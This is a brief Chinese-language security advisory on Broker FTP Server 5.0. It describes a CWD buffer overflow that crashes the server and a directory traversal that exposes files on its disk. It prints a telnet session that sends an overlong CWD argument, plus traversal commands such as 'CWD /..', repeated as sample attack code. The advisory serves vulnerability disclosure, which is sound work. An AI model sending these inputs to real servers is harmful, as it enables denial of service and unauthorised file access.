涉及程序： Broker FTP Server 5.0版 描述： Broker FTP Server 存在缓冲溢出缺陷 详细： Broker FTP Server的CWD存在缓冲溢出缺陷,攻击者向目标机器发送超过256字节的数据将触发该缺陷,并导致服务器失效： >>Telnet 127.0.0.1:21 220 FTP Server Ready <***> >>USER anonymous 331 Password required for anonymous. >>PASS anonymous@localhost 230-Welcome to Broker FTP Server. 230- 230 User anonymous logged in. CWD AAAAAAAAAAA......AAAAA <256b> 攻击者利用该缺陷能访问服务器硬盘上的所有文件： Current Directory : \"/\" CWD * CWD /* CWD /.. CWD /... CWD /.../ 攻击方法： 示例代码1： >>Telnet 127.0.0.1:21 220 FTP Server Ready <***> >>USER anonymous 331 Password required for anonymous. >>PASS anonymous@localhost 230-Welcome to Broker FTP Server. 230- 230 User anonymous logged in. CWD AAAAAAAAAAA......AAAAA <256b> 示例代码2： Current Directory : \"/\" CWD * CWD /* CWD /.. CWD /... CWD /.../ 解决方案： 目前厂商未公布该缺陷补丁，请用户及时关注厂商站点： http://www.ftp-broker.com